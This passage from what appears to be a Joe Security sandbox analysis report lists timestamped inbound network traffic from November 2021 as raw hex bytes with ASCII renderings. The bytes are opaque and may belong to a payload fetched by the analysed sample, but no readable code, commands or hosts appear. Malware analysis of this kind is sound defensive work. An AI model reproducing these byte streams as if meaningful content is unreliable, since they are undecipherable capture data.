08 97 11 1d 4a da 48 22 e6 6f c9 04 75 06 12 f5 8d 61 0b Data Ascii: W&0qA8]n-Uw)v4Fb1!Y6V=}{3v}A0(afF&PXk=0:o.qfu p+p8Lc?~WX8[8Ay}Pwuit@IW/fSn}g8/jg}cgz9p_Cr(8Z6jK[WRgFyPJH"oua

2021-11-08 19:52:27 UTC 1672 IN Data Raw: fd 9d 20 eb c2 78 67 3f 2b 16 62 82 04 2f 1c f7 d9 de 5c 20 35 8d c2 c8 db 97 36 6c 2f ab 6a 41 f4 5f 85 ba cd ac 08 6e 0e 2a 67 d0 0d 18 e1 ba 17 d5 8e f0 38 d4 45 77 bc ac 73 b4 79 c2 99 03 45 da 9d ec a9 28 2a c0 44 a0 2d df 5c f0 8f 01 8c c7 f1 81 fe db 4a e8 21 da 54 97 61 6e 7b 4e 9e 33 dc f5 c6 e8 11 2a 22 36 f3 a1 89 ef 8d 7a a3 e1 d5 09 e2 80 1c 52 5d 36 c8 b4 8d 3d 96 7a 90 19 79 28 52 a1 03 50 47 6d b6 f7 f9 d3 5c e1 63 d1 f4 1f 60 64 c3 3e 85 10 83 bf 7c 38 7a 77 ba 08 c2 3e 24 dc ae f9 b3 97 b7 73 48 25 10 7e c0 1e 93 4b 9e bc 05 24 c1 7a 1b b1 69 b4 cd 1b ef 1c 18 10 41 27 42 0e b6 fc a1 8a a1 7d 70 bb bc 05 fc 9d f7 21 d6 59 97 d5 c9 29 0f 9e 09 4f 1b 53 29 28 f6 5f 46 9b 50 3a 5c 77 7b 67 67 ca 62 5b 80 83 79 2b 7a b8 2b 0b 26 ea 6b 98 65 Data Ascii: xg?+b/\ 56l/jA_n*g8EwsyE(*D-\J!Tan{N3*"6zR]6=zy(RPGm\c`d>|8zw>$sH%~K$ziA'B}p!Y)OS)(_FP:\w{ggb[y+z+&ke

2021-11-08 19:52:28 UTC 1688 IN Data Raw: df 73 c6 2c e2 af 76 42 36 cb 4e 95 0e b8 2e 14 35 67 9a 4c c3 4e a0 5e 46 3c 20 19 ba 35 6c 17 fe 0c 38 29 5c a8 08 61 a9 9a 69 d6 06 74 98 ff ec fb 99 20 87 63 19 90 c4 31 09 36 60 12 7e 38 78 32 6c 67 a7 1c 22 83 05 f2 df e1 ec 06 39 c4 83 72 85 18 f4 f0 ec 84 4a 29 cd 4b cf df f6 46 09 e9 94 5c b2 bd 9b 3a cd 3c c0 22 15 24 dd 85 ad 99 e0 47 79 d3 94 3d c5 4a 0f 36 05 dd 65 bb ae 21 63 c6 07 54 7d cc 7d 98 e2 30 df 11 5b 00 04 f4 90 d2 ac b2 71 25 bb 5a ba 6d cf 03 db a7 5f 14 17 89 96 20 a4 9b 02 43 8c 60 2b 61 d0 d0 b4 f7 04 b0 eb e5 61 78 da e8 32 6a a7 10 0a bc f5 47 15 34 52 8c 6e de ea d3 4d 4a ae fe 27 a4 ba ad 3e 78 87 df d5 72 eb 6b 91 5d 54 d3 14 a6 7e 03 f9 8d 57 8a c8 25 55 a6 fd 90 aa 76 e9 e9 7f 09 71 51 bb 4d bf 73 9c 92 8f 68 2e fb e8 Data Ascii: s,vB6N.5gLN^F< 5l8)\ait c16`~8x2lg"9rJ)KF\:<"$Gy=J6e!cT}}0[q%Zm_ C`+aax2jG4RnMJ'>xrk]T~W%UvqQMsh.

2021-11-08 19:52:28 UTC 1704 IN Data Raw: 86 69 0f fd e0 83 b5 d2 a0 50 68 0a b5 de a0 98 f9 5a 9e b5 b5 c0 b4 89 86 93 54 a3 9d 9f 7d da 5b 6c 88 f3 27 b5 b1 de 69 98 a3 14 ac 63 29 0f b8 64 a4 27 6e 4e 2a f0 54 fb af 7a ce 6f 17 96 a8 7c b5 a3 ee a5 76 27 17 ef 08 b3 8c 7f d1 d3 68 9b c0 fe a7 10 9e 00 90 95 1f 23 28 2c 87 43 72 22 7d d9 b9 85 ad 84 48 ce ec a4 3a a2 f5 fb 6a 8d d4 02 27 cd 84 e9 58 cb 3b 11 55 f6 4d f2 4c 44 21 3c e5 1e 1b a9 97 a7 66 42 0e 17 1b 5b c4 1a 05 bb 84 f7 66 40 ed 3a c7 8e 8b b2 c1 c0 68 95 16 86 0b 3a f8 2f b7 3d f9 fc a6 a1 11 fe 84 95 3e 92 cb c4 7e 89 2b 1e f7 b1 54 8e ea 98 7b ea 2f 89 7f 0f a9 65 23 a6 09 d8 e9 91 a2 06 8a 28 2c 7e ae f6 60 a4 5a 20 2a 5b e7 ab 3b 05 14 a9 d6 b2 e0 51 c5 1b 82 db 9e 39 aa fb dc 61 9d 5c 3c 11 5e c6 c6 7e 42 ba 6b 7f f5 fe a3 Data Ascii: iPhZT}[l'ic)d'nN*Tzo|v'h#(,Cr"}H:j'X;UMLD!<fB[f@:h:/=>~+T{/e#(,~`Z *[;Q9a\<^~Bk

2021-11-08 19:52:28 UTC 1720 IN Data Raw: 8e 3f 95 6c bf 7b 93 4c 59 2d 9f 2c cc c9 d3 3d 0e 80 0c ea 7f 84 1b 32 65 4a 06 7f 99 37 fe 2c 48 fc 6f c8 11 44 dc ac 18 62 c5 a6 70 75 f7 cf a0 70 ce c9 25 2d f1 c2 8b e4 c8 6a 7b b3 d9 ee 09 9f 50 48 82 0c 4d 24 8a 2d 55 49 23 1ff5 69 f9 9e de 11 eb e8 a0 ea 33 91 10 e0 51 9d 85 48 20 e1 0f 82 54 39 0e 17 89 bf 5e 19 22 c4 f8 a8 59 40 e1 ce 3f 41 4f fe d0 9f b9 6b 88 f7 94 34 35 5e 06 87 da dd f2 1b a1 89 ae 91 94 17 63 05 c1 6b 70 be d8 02 ce 81 3a 49 06 15 54 cb c4 0f f7 a2 f7 98 b4 fc 46 9a 29 e8 1c 34 69 e7 4f db fb 1a d2 ba fc 6d 7e ae 63 8c ee bf 09 d2 a7 22 93 ca 67 99 ab 2e 3d e9 56 48 e6 6e b5 93 de 21 06 e9 9b 6b 01 4a ca 89 61 a0 ca 10 08 38 fa d5 9a 55 1d 95 5a 8c 60 85 be 25 04 44 ef 32 3f 4c 83 80 8e 61 80 12 7c 56 ee 8e 49 be 6f 7d 95 Data Ascii: ?l{LY-,=2eJ7,HoDbpup%-j{PHM$-UI#i3QH T9^"Y@?AOk45^ckp:ITF)4iOm~c"g.=VHn!kJa8UZ`%D2?La|VIo}

2021-11-08 19:52:28 UTC 1736 IN Data Raw: 23 f3 bb be c3 fa a3 3f 1c b9 78 64 0d 5c 92 ff fa bf 95 90 f3 fd 18 97 21 45 d6 89 bf 1d 76 6f e1 f1 e0 65 1f c7 9d 4b db 5d c5 d1 de 02 45 4b 12 3b ed fa c2 6c e1 ee 2c 68 2f 73 a1 bc f7 56 ad 0a 2f b9 b9 26 7d 31 b3 36 b7 bb 5b 51 5f 07 78 37 4d c0 b3 06 2b 3c 7e 55 f9 f4 65 08 f0 92 cf 8c a8 cf 44 e6 2c 8d 54 c4 19 66 9a bf 69 e6 e0 df b5 15 7a 39 a6 64 cf 86 a2 08 5f ad af 13 d5 8b 56 48 4d 33 95 07 57 1c a1 3b e0 21 67 57 9d b0 38 06 e6 98 c8 93 33 cb c9 52 0a 3e 86 91 02 b8 d3 db 81 1f 7d ad 06 3a 8a 5c b8 61 b8 6f 8b ec b2 1b 58 82 d1 03 c0 12 1b ab 7c 73 f0 98 80 a8 e0 25 98 18 5b ea 8b 79 c2 ba be 8c ba 61 f1 26 37 b2 d8 b0 f4 8b 14 c4 7e 48 a9 3a d6 32 85 db be 49 40 b3 25 d2 8f b4 42 6e 63 d6 4c 03 c3 e7 f9 7b a0 10 5d fb 4e 54 c7 ee 97 ad aa Data Ascii: #?xd\!EvoeK]EK;l,h/sV/&}16[Q_x7M+<~UeD,Tfiz9d_VHM3W;!gW83R>}:\aoX|s%[ya&7~H:2I@%BncL{]NT

2021-11-08 19:52:28 UTC 1752 IN Data Raw: 54 14 67 a3 19 e1 ae 95 2d 0c ea 94 53 5e bf 94 ed f2 db c9 1d 72 57 b8 6d 6a 5f b6 d8 28 ef 4f f4 f0 d4 3c a5 da 64 23 12 33 4f 99 25 09 89 39 be 24 01 e2 5c 97 0b 23 e3 de 89 55 2c 02 15 0b 32 22 90 e2 25 bc 95 2d 2b ec e7 a0 18 77 56 93 da 86 a0 30 60 b7 ba 19 24 df 20 97 5a 13 99 81 db 0e a3 90 dd 07 16 c9 4a cc e3 07 67 12 51 2a 7e c8 06 07 dd cb da 62 c0 e1 b2 30 e8 b6 1f e2 4f 7c b5 ca 3f 4a cb 19 30 15 8c 2e 5a 37 5d 0d 57 b9 c8 28 86 a6 6c fd 7e d5 9b 07 b7 fb a3 46 f5 d5 2d bb 36 e9 95 27 07 da 3f d5 56 26 40 b6 0c da 95 ef d4 64 52 18 64 98 e2 46 9e 33 cf 42 ba 98 cb 19 1f bc 26 9d e0 bf 15 20 5b 0b 3c 93 28 13 bb cc 36 7d 2a 7e 5c f5 fd 96 74 4e 00 c5 7a ed 2f f5 97 93 b8 94 e3 c4 63 fa cf c8 58 3f 72 1f 4d fc a6 24 71 b2 4b 32 f1 55 62 c8 15 Data Ascii: Tg-S^rWmj_(O<d#3O%9$\#U,2"%-+wV0`$ ZJgQ*~b0O|?J0.Z7]W(l~F-6'?V&@dRdF3B& [<(6}*~\tNz/cX?rM$qK2Ub

2021-11-08 19:52:29 UTC 1768 IN Data Raw: 39 d5 e2 b3 09 22 9d 56 87 f7 06 3b a5 13 bc f4 95 b3 3b 76 fd e0 fd be 07 65 f0 b1 cb 26 2f 1c 75 2f 7d 1e 8a 2c d5 68 e5 8c 99 e8 47 b9 1c 70 b9 c5 fd f2 4c 68 b7 cf fe 8c 93 df 40 6e b6 a0 7d 02 9b f4 16 e5 c0 b5 67 38 4e 48 18 c8 b3 05 a4 95 04 cb ed 24 7d 24 51 2b 21 cc 69 ef 6e df eb ff 4a 8d 5e a9 96 11 67 63 eb 6e 33 8c bd 63 0e 4a 71 ea 76 20 62 0e 43 0e 8c 4e 8b 5e a6 f9 e9 b2 1b 43 b5 84 90 a7 83 e9 ff de 12 02 94 00 7e 29 c2 ef aa 93 96 96 36 67 e4 94 24 83 9f 8c 29 84 f4 5c ef 8b 76 9c 97 03 0b c3 19 ad 6d da e6 3e 1b 8b 13 40 d3 bd 92 52 fc 09 d9 29 9d 1b 70 5b eb ca de b6 f1 62 48 66 83 71 79 13 86 13 4d 9c eb 8e 10 e8 cd e9 83 bf a9 c1 40 65 0f 0c 31 47 e9 c0 ba 2e 48 19 1d 6f 1d 49 c9 7f eb 50 a5 af 53 cd a6 d4 e8 c4 63 15 4b f2 d5 c6 14 Data Ascii: 9"V;;ve&/u/},hGpLh@n}g8NH$}$Q+!inJ^gcn3cJqv bCN^C~)6g$)\vm>@R)p[[email protected]

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 31 of 51

2021-11-08 19:52:29 UTC 1784 IN Data Raw: 0f 4e 24 8c bb ee 41 b8 85 0b 56 b2 e9 92 c0 a4 64 33 8a 7c 4d 57 6b f6 37 12 d8 03 ef dc 3b 1d 7b f7 cc d9 98 22 98 4e ce 7a 98 16 d8 6a 22 3d fa d3 fe b0 68 bf de 2f d5 ec 8f 9b 55 b3 da 9d dc 45 6f 68 f0 07 ec bc 92 78 ac 41 ee 7e 9b a3 39 f8 1c eb 50 dd fc 2b 62 5e b2 a9 0a a1 62 4b b9 9d 6d 33 52 ec cd d0 61 e1 c4 18 92 85 fd 69 c2 d2 0a 8b 75 9e 83 6d ab 22 19 97 ae 1b 1e 1c 1a af ab e4 ea 21 11 44 9c a0 ad 15 63 22 72 cc 69 55 3b d4 47 66 2f 0f 6a dc db 96 ce 64 02 75 56 f1 80 5c 3a f3 cb ce 3e f1 3a 85 4f e6 68 6e 3f 88 17 0e 98 62 0b 58 5a 86 8e fb 44 83 ff 96 e9 81 56 49 c4 5b af 9b 88 78 f1 24 64 6f 85 dd dc 0c 03 17 66 a1 19 76 d3 a1 2f ab a8 2b b9 01 49 b7 ca a9 c3 f8 15 f0 20 eb 05 24 b1 58 37 62 ef 29 9d 97 0b bd a9 14 e7 c9 32 1a f3 df dd Data Ascii: N$AVd3|MWk7;{"Nzj"=h/UEohxA~9P+b^bKm3Raium"!Dc"riU;Gf/jduV\:>:Ohn?bXZDVI[x$dofv/+I $X7b)2

2021-11-08 19:52:29 UTC 1800 IN Data Raw: fb d5 f2 37 cf 79 ad b5 d3 12 fb 2a ab bf c9 03 83 e5 79 fc 48 02 e9 5e 01 c0 9d ea df 92 c2 a2 3d 48 6b 7e 81 d8 9c 54 0b 3d d5 5a 8f d4 f4 93 04 d8 04 15 11 c1 6c 30 2e 1a 1e 64 de 23 82 7f 90 ea 7a 57 49 c4 d0 02 72 cb c8 32 10 2d a0 bf 08 7f ca f8 37 33 d4 a4 29 8c c3 1e f1 6b 8e c4 64 ce 63 c0 e9 13 b9 b5 d7 b7 25 0f 9f 25 65 e0 09 23 bb 86 51 ba 3c a7 da 83 33 a6 19 23 00 20 53 5e 43 51 94 51 35 d2 65 80 cf e8 da 23 3d 41 9c c5 f8 d7 19 c6 6f 8a e4 44 5d a2 e8 9d 35 2a ec 43 0e a2 3d b7 6c 16 98 70 59 73 e0 3a 5d c1 9c 24 6e f5 a1 5f 3a 24 c1 0e e1 58 27 19 9e b2 6b 48 1d 02 ad 55 d4 9d 1f 04 23 fe 01 c0 ff 73 1e 2b b3 63 a0 bf 21 eb cf 37 37 03 7b 83 0d 1d 3e 82 14 8e 84 d2 ac 87 34 c4 90 9a df b1 ee 96 87 7b 15 b8 c9 8c 89 fd d9 a2 f4 e8 81 02 3c Data Ascii: 7y*yH^=Hk~T=Zl0.d#zWIr2-73)kdc%%e#Q<3# S^CQQ5e#=AoD]5*C=lpYs:]$n_:$X'kHU#s+c!77{>4{<

2021-11-08 19:52:29 UTC 1816 IN Data Raw: e2 e4 28 7d d9 c0 57 57 10 e0 2c 4a 36 22 23 d1 d0 2b c1 e9 ed 6d f0 ae 56 6b 2b dc ab cc f7 66 a3 cb f1 e2 36 cd 02 ed 4b 7e 9c 39 f9 b4 6e 5a ab 8c 20 dd f6 6e ce 2d 22 33 8f bc e1 f8 af d1 ff b8 87 ac c8 5a 0c 3a 53 8d ac 9e e4 89 e9 de 0c 9f 8c 06 0c 58 58 ad c2 0d 4d e7 01 2e 48 b0 b9 2c 9e 71 93 86 6e 86 ce 43 df 9f ec 4f 26 16 81 20 60 a7 27 6c 19 62 ea 44 47 1e 32 47 a8 0d 7e 6b 6e 4c cc f6 80 02 ae 44 ff 67 49 e2 15 59 ac 92 4f b3 ee 99 7a d3 0b a2 56 04 b7 5d 25 fc 38 9f 02 d6 e1 b6 01 70 1c b6 15 c0 c3 4a a0 a7 68 66 9c 7d f4 5d 83 d1 6a 41 da 72 7f 00 67 ba ad e4 06 03 6e b2 0b cc 8f 45 04 3c fb c0 96 ab 77 bd 06 41 1e e7 1c ee ad 5e 12 c4 35 23 ff 6e 25 ed 6d 4b 6c 22 21 a2 e1 30 4b ee ae 63 4e 07 e8 24 a2 9e 03 10 38 22 fd d8 a0 dd 32 68 66 Data Ascii: (}WW,J6"#+mVk+f6K~9nZ n-"3Z:SXXM.H,qnCO& `'lbDG2G~knLDgIYOzV]%8pJhf}]jArgnE<wA^5#n%mKl"!0KcN$8"2hf

2021-11-08 19:52:29 UTC 1832 IN Data Raw: 2a 4d 08 62 b1 5c 82 dc 72 c6 28 7f b7 64 ee cb 58 df b9 63 cc 25 b9 ea 69 85 70 9d 3c d3 3c 1f b6 be a9 c4 8134 14 2e 0e 7d 55 3f 78 5f 63 ae 44 94 2b 09 2e 2f 17 10 1e 7c 1e 7f b5 05 d5 ee 0d 02 71 e4 09 d2 db 6e 01 b3 24 dd 32 6d 73 73 64 fd 84 c1 6f 97 7d 26 4e e7 96 f5 23 bb 53 c8 cf 43 fc 3d e9 f8 32 75 0d 41 6a a7 67 4e ec 20 17 4d fa cd 19 27 ec ee 41 e4 fa b9 71 e4 63 5a 85 21 3e b4 e4 59 d1 9e 78 ff fb d3 12 19 14 bd 17 96 1c 94 7d 27 37 2c 0d 15 be 64 4b 60 f8 c8 0e f3 43 c6 f3 a2 8b f7 91 44 49 fb 18 7e 57 3c 17 32 73 e5 d3 b8 d8 53 ec 3c e4 05 24 31 3e 1b 43 2b 30 06 a7 be 63 4f b9 a6 73 16 97 fd a7 f5 51 dc bb b5 93 49 84 4d 01 c5 2f fc 72 28 87 a5 38 2a d9 06 9d d0 25 de 15 48 53 38 ea 52 fb ad e8 22 e7 85 1b f0 f7 b2 8e f4 9a 46 be 3b 51 Data Ascii: *Mb\r(dXc%ip<<4.}U?x_cD+./|qn$2mssdo}&N#SC=2uAjgN M'AqcZ!>Yx}'7,dK`CDI~W<2sS<$1>C+0cOsQIM/r(8*%HS8R"F;Q

2021-11-08 19:52:29 UTC 1848 IN Data Raw: 8a 2c da b2 86 7e c3 a0 2b 0c ec c7 75 d7 68 c0 ac 25 61 e5 87 4e 18 0c 89 9c 1d 5b 8d c9 6f b4 cf 50 fe ec c3 f2 17 11 2e 1e 8b 72 ee 7a 43 14 42 78 b3 64 db 03 98 e5 fc d0 04 0a 0f 57 de 1b af 71 7c b1 73 7e 24 04 d6 01 82 03 be 16 a8 5e e5 1c b1 57 35 b3 f7 0d bc 41 f8 26 be 77 4d 72 35 0a 27 50 44 7e 40 62 9f 2f 80 10 cc 22 92 53 44 e8 5c ca b8 aa d8 78 99 85 fc 0d 84 7f 6a 93 39 7d b4 43 c3 a9 36 a9 57 9c 73 eb 16 10 23 f7 ac b8 12 d8 cd fd 9e 56 24 a3 bf f4 d2 8a2d 07 0c db dd b3 a5 1a 06 23 54 a5 14 79 30 ae 4f 28 4b 0e 22 a5 19 8f 3b 5e 99 6f 41 c1 0a 83 fe fe 4d 6e fc 70 17 7a a5 f6 bc 2f ac 7a cb 70 f6 63 60 57 ae 48 b3 dd 57 07 e2 df aa 12 b5 cd fd fa a6 64 0c fd 8e 60 a6 62 ce f7 00 a4 f3 d7 5e ca 25 4e 4f 43 08 49 98 0c 53 91 eb f8 66 e0 b7 Data Ascii: ,~+uh%aN[oP.rzCBxdWq|s~$^W5A&wMr5'PD~@b/"SD\xj9}C6Ws#V$-#Ty0O(K";^oAMnpz/zpc`WHWd`b^%NOCISf

2021-11-08 19:52:29 UTC 1864 IN Data Raw: 4a b7 74 ed 3b f3 b7 9e cf f3 4f 7e 50 42 81 b4 27 6f 3b 25 c5 cf b6 b9 c9 a6 08 46 d8 1c 0d ae 8a 80 d0 4c 72 49 d9 4d 5e 04 72 c5 e1 7b 6b a9 24 27 9c aa a0 88 74 77 19 e5 ff 8f 74 40 54 2a 4b be 74 a2 05 ce 1b 3f 7c 28 15 6f bf 9b 8a 8f ad f2 40 b5 76 74 0b b3 e6 87 55 40 52 42 81 68 66 0f b1 d1 db 8a df 63 02 1c 9f 32 d1 8a 5c a9 33 a4 f5 45 7b 46 dc ac 2f 60 25 66 9d 7b 14 a0 99 ce 0b a6 74 f4 f8 ac ed 19 0c 36 ca 92 64 77 4e 15 40 1f bc 3c 90 ae 2b 61 f8 8e 62 fa 2e 7c 31 5f ec 83 4a e6 f4 2b a8 db 2d cc 82 f2 52 0d c3 7b 64 93 95 16 44 e4 e4 d1 2e a9 f1 0c 30 b6 fe 94 5f c2 28 0d f9 3f 7b 61 7b c4 5d 70 41 99 a2 29 65 96 be 2a c8 ce 9e db 19 73 83 b2 94 f6 ac fe 60 d6 8b b0 6b af 4a 91 ea 09 cb bb bd 26 35 6a e5 f0 41 10 c5 02 27 a7 17 a0 b7 53 ad Data Ascii: Jt;O~PB'o;%FLrIM^r{k$'twt@T*Kt?|(o@vtU@RBhfc2\3E{F/`%f{t6dwN@<+ab.|1_J+-R{dD.0_(?{a{]pA)e*s`kJ&5jA'S

2021-11-08 19:52:30 UTC 1880 IN Data Raw: a7 88 18 80 98 f8 f7 9b 03 35 cb 07 c0 ca a4 39 46 31 50 a8 7c 28 96 00 90 82 d7 a1 cd 16 68 54 36 75 e0 d7 a6 ee 5a 8e 93 6c e1 ea 3d 65 29 66 76 4d 54 6a dc 18 15 c8 64 01 a9 e3 a6 44 d5 a1 00 3c 0b 38 85 34 f5 2a 74 88 a6 d3 7c 83 ff 53 b3 3a 5b ba a0 ef c4 ad 8d bc cd 19 ae df ed ac 7d ce 0f 05 f3 e4 ba c4 87 9f 39 47 92 1c 85 0b fb 14 e4 35 ec ed d0 b8 1e c7 bd fa 10 6a 4e 98 41 b9 79 c5 43 df f9 5d ea 58 7d ba c6 70 e7 49 34 27 4d 1b c4 ed 23 ef 59 31 0d 1b b4 b4 ae 72 b1 d3 51 be c8 cb 8a 34 a2 59 eb 41 9d 01 66 10 69 e2 18 da be 75 40 f4 18 a6 c0 2c ee e0 18 74 ae fc d3 a2 2d b3 05 21 d3 67 55 c5 7f f0 ed 7e d0 60 57 ab 8e af 98 56 85 ca 68 fd 33 47 c8 dd e1 c1 2d 0e 15 44 73 8f 42 38 21 33 95 61 30 4d f5 cd 58 73 22 33 f2 0a a6 db b3 f0 37 62 37 Data Ascii: 59F1P|(hT6uZl=e)fvMTjdD<84*t|S:[}9G5jNAyC]X}pI4'M#Y1rQ4YAfiu@,t-!gU~`WVh3G-DsB8!3a0MXs"37b7

2021-11-08 19:52:30 UTC 1896 IN Data Raw: ca 9c 01 7b d8 4e 0a 74 95 57 25 a1 63 ec 75 3d 16 f7 6d a0 ac 1d 57 3f c4 c0 a5 08 e6 71 22 64 50 db 9e 25 84 81 57 65 39 98 0e a5 cd 0d bf 44 f8 ec 5c b9 c7 3c 6a d6 aa 7c 39 f4 78 c1 25 70 70 87 df 59 5e 3c 7a d3 99 e7 7f 02 b5 19 9a 5c 00 a9 f4 a7 c6 95 90 e1 2e 24 ee ce 11 6e 9c 25 06 de 98 41 c2 ac be d1 bf 36 30 4b 83 a1 d3 ff 60 d7 05 ec a7 9d 19 f3 1f f3 7c 8d 63 42 3c a0 4b 7b cd 62 62 7d 40 a4 94 8a 9f ae 88 a0 21 9f 40 1d bb f3 71 ec 13 5a c3 a3 75 df 90 bc f6 01 7f 49 f6 66 8b 97 ab e7 37 70 44 6a 2a 05 f6 8f da 7e f0 ef ff 79 ce 4b f7 75 c0 90 3f 2b 1b 34 0f 74 32 71 ef 45 78 fa 4b b6 97 31 5b 71 ac 9f 9d 3c 15 a4 b2 a9 ce 4e 3d c0 01 10 16 2b ed a1 62 10 3e c6 35 3c 5d e5 d1 17 40 0a be da 46 46 3a 8f 7b b4 b2 b4 2c fe a8 a2 9c e8 6b d5 8b Data Ascii: {NtW%cu=mW?q"dP%We9D\<j|9x%ppY^<z\.$n%A60K`|cB<K{bb}@!@qZuIf7pDj*~yKu?+4t2qExK1[q<N=+b>5<]@FF:{,k

2021-11-08 19:52:30 UTC 1912 IN Data Raw: 9a ff 28 54 b0 9b 86 0a 49 e5 67 bc 7c c3 38 c6 9f 46 dd a9 5d 0a 47 ee 65 c5 af e9 9f 99 d2 4e ff 93 31 8c fd 93 0d 91 9b bc 3f d3 37 65 79 b9 45 67 fb fb 9e 96 31 b8 06 5c 7f 0e 3c 43 c1 2c 8f 49 c9 a1 2c d6 f9 3d 89 f4 59 03 1a 58 fd 21 86 dd 79 67 0e 1f 08 2b fe 98 e4 2a ba f7 6e a9 9a 89 82 8a c3 27 d0 fa 47 49 26 f6 24 4d 44 ff cf b6 c0 27 e0 b7 86 5f 8a e4 96 a3 bb e0 9c bc d7 2a 0e d4 c3 bc 34 1c 49 14 91 de 97 d1 ec a4 9e 81 7b 35 4c 84 a4 98 75 9b 29 95 3a 58 4c b8 80 48 b8 af f0 74 4b ce f5 95 45 94 09 ba bf 15 47 74 ce 42 79 7c c5 33 c9 41 71 99 61 47 64 bd e1 b2 a7 07 79 69 d2 4a 07 3b fb 07 8a 38 89 35 19 01 a0 b3 b2 e3 86 50 e9 82 5a c5 d3 f3 91 5a f8 cd 2a 52 40 9c 65 a9 af 07 95 28 be f6 17 44 54 ba 38 08 2f ec 0c 3d d6 66 97 84 c1 b8 0a Data Ascii: (TIg|8F]GeN1?7eyEg1\<C,I,=YX!yg+*n'GI&$MD'_*4I{5Lu):XLHtKEGtBy|3AqaGdyiJ;85PZZ*R@e(DT8/=f

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 32 of 51

2021-11-08 19:52:30 UTC 1928 IN Data Raw: 0a 1e 2c 5d 2c c5 7c 2c 97 de bf 57 89 bb 9d 45 9d 88 41 ac f0 4d 0c ed a0 aa 82 c7 98 d9 b4 6c d0 32 05 bb c0 95 4a fc 4c b7 ef 9c 06 52 86 40 49 f8 b0 2e b3 38 d6 5c d1 ab 6a 37 3a c0 ef 39 b1 ba a5 63 c8 2a aa f2 c5 6e 7d 40 64 47 fd 60 28 30 23 ef f9 fd 1b f9 91 0d b4 44 01 ec 53 0d 41 cd 74 18 cb 25 da 12 6c 8e fb 33 51 af 39 a7 0c cb 30 28 6e 13 8b 80 20 e0 df aa 26 c6 8b ed 11 a7 9e fa 0c 9b b0 47 32 d2 11 07 70 17 de b7 c2 c7 21 fa 9f 6b 20 69 76 f8 54 8e 8d 1a b6 aa 0f fc 34 f6 83 7a 95 66 b4 7f 6b f9 07 7c bf 73 0f 09 ad d2 cb e9 d7 f6 0b 17 ef d1 0c 60 f1 ff b8 7b 59 6d 05 59 05 ee 40 b8 19 a8 f5 01 8b 68 ea fa 0d 4a 9b 66 13 5c 77 2b be 5f b8 76 f4 d0 1d 00 ed 2b 16 4b c4 52 37 2e 2c 96 f6 c0 4a 02 6a 35 d1 5e a3 ef 07 7d 85 bb 19 80 3b 60 d3 Data Ascii: ,],|,[email protected]\j7:9c*n}@dG`(0#DSAt%l3Q90(n &G2p!k ivT4zfk|s`{YmY@hJf\w+_v+KR7.,Jj5^};`

2021-11-08 19:52:30 UTC 1944 IN Data Raw: 80 6f 7e e5 f0 ec eb 72 51 12 af e7 9d 1b 53 30 0c a2 fa 29 5a 2b b8 6f 99 7c 08 cd f5 2a 4a 5c ce a8 19 ed 20 d5 74 1b c2 19 2d 8f 83 b8 ac 85 bf 5c bb f6 e2 c9 63 ca ea 1d 06 20 12 da d9 db a0 79 85 18 a7 12 9c ae 30 38 2c bb a4 bb eb 82 3c 33 50 86 96 f1 db c3 bc f4 86 a0 c2 e7 28 ed e3 4d a6 72 99 d0 d8 8f be 82 89 32 5b 7c f9 3d 6c a7 51 61 48 ea fa b5 dc 3a 3e 8b 40 fd 56 de 64 5d 22 19 6a 45 1a a8 55 1d 0c 6c 3b 64 a9 85 aa b3 08 19 48 1d 5a 5d f9 f9 ee 94 6f 73 f6 6f aa 70 39 2c 4b 9b 8c be 9a 5d bb 24 c1 29 76 bb 7c bc a0 69 d0 49 12 a8 7e 91 9d 9e 6f 28 ee e9 c1 5a ae 30 16 bd f6 72 eb 74 ee 5a 12 34 15 5f 6c e8 18 95 6a 27 fd 05 0b cc a4 6b d1 02 94 02 ab e0 6e 67 02 d0 b1 2c 80 50 29 fb 30 56 d0 32 3e 29 d5 80 28 fe a1 e4 6d b7 6d fc 32 40 d2 Data Ascii: o~rQS0)Z+o|*J\ t-\c y08,<3P(Mr2[|=lQaH:>@Vd]"jEUl;dHZ]osop9,K]$)v|iI~o(Z0rtZ4_lj'kng,P)0V2>)(mm2@

2021-11-08 19:52:30 UTC 1960 IN Data Raw: 67 03 a5 0f df 99 3e f6 b3 9b 89 cc 43 93 bc 10 8e f5 99 92 8c a5 26 97 42 7f 9d cb 9e 68 48 80 bc 6b b3 53 9d 3b 87 0d 43 84 da 8b ce 36 c6 ff 71 4f 2c ee 55 b2 31 c4 7a 4f 42 d4 ca 75 88 52 f8 4b 3a d5 f7 50 43 2f b9 f8 f4 88 a6 3a c9 8a c8 26 2b 64 24 87 01 53 ad 06 55 68 4f d4 b8 66 6f 7f 9b d7 81 30 2e 1c ea 18 29 08 3a a3 a0 17 ef 9d a0 e6 8c cc eb c5 94 9d 61 39 08 63 8c 75 9c 11 01 44 86 94 4c 8c e4 22 bc c4 e0 06 6b 8b 41 73 73 2e ea 5b b9 88 6b 4f 6a 0c 88 a9 cb cf b5 53 cc e5 eb b4 4f 9b 11 29 e0 46 61 80 71 3b a6 c4 3a 18 2a e5 ac ac 6e d1 54 ba f0 98 a6 2c b8 53 4d f8 75 5a 7d fb fc c4 36 55 b6 be 68 8b a5 0a f6 35 2b 0c c3 23 63 28 59 27 b1 c2 1d 98 9e b1 e4 33 64 97 8d 03 7f 4f 1e a4 f8 38 a7 b9 f2 99 77 20 57 65 a8 89 12 21 68 93 df 0d 4e Data Ascii: g>C&BhHkS;C6qO,U1zOBuRK:PC/:&+d$SUhOfo0.):a9cuDL"kAss.[kOjSO)Faq;:*nT,SMuZ}6Uh5+#c(Y'3dO8w We!hN

2021-11-08 19:52:30 UTC 1976 IN Data Raw: 1c 75 3c 6f d1 a9 53 6f 58 d2 d6 85 54 f8 00 b4 19 44 4e 72 c6 ae ff df 25 39 37 1d dd bc 94 2b 0f da a2 dd 32 71 3e 23 97 b3 ff 6c cd a3 a6 dd 94 9a 05 a5 fa 39 d5 59 73 52 19 d3 3f c7 2f 81 e0 2c fb f9 30 82 b9 93 48 01 8e 44 37 d3 1f f8 75 3e 49 68 3b 44 02 cc 5d bb 39 e6 c7 a8 c8 27 f2 f3 f8 23 f3 39 3f d3 40 dd 0a d1 75 a1 94 98 b1 ba f3 8a 50 3a fc 7d 60 4c 62 dc cc 72 74 16 f0 19 db d2 89 1f 26 a2 2b 3c a7 ba 1e 97 e8 01 c7 02 5d ca 37 11 28 21 70 b4 36 69 b5 a9 3f 06 ef 9b cb 14 f2 e3 5e a0 5d d3 f5 00 cd f0 78 8c 5b c0 10 60 a4 75 4c d7 6e b5 77 38 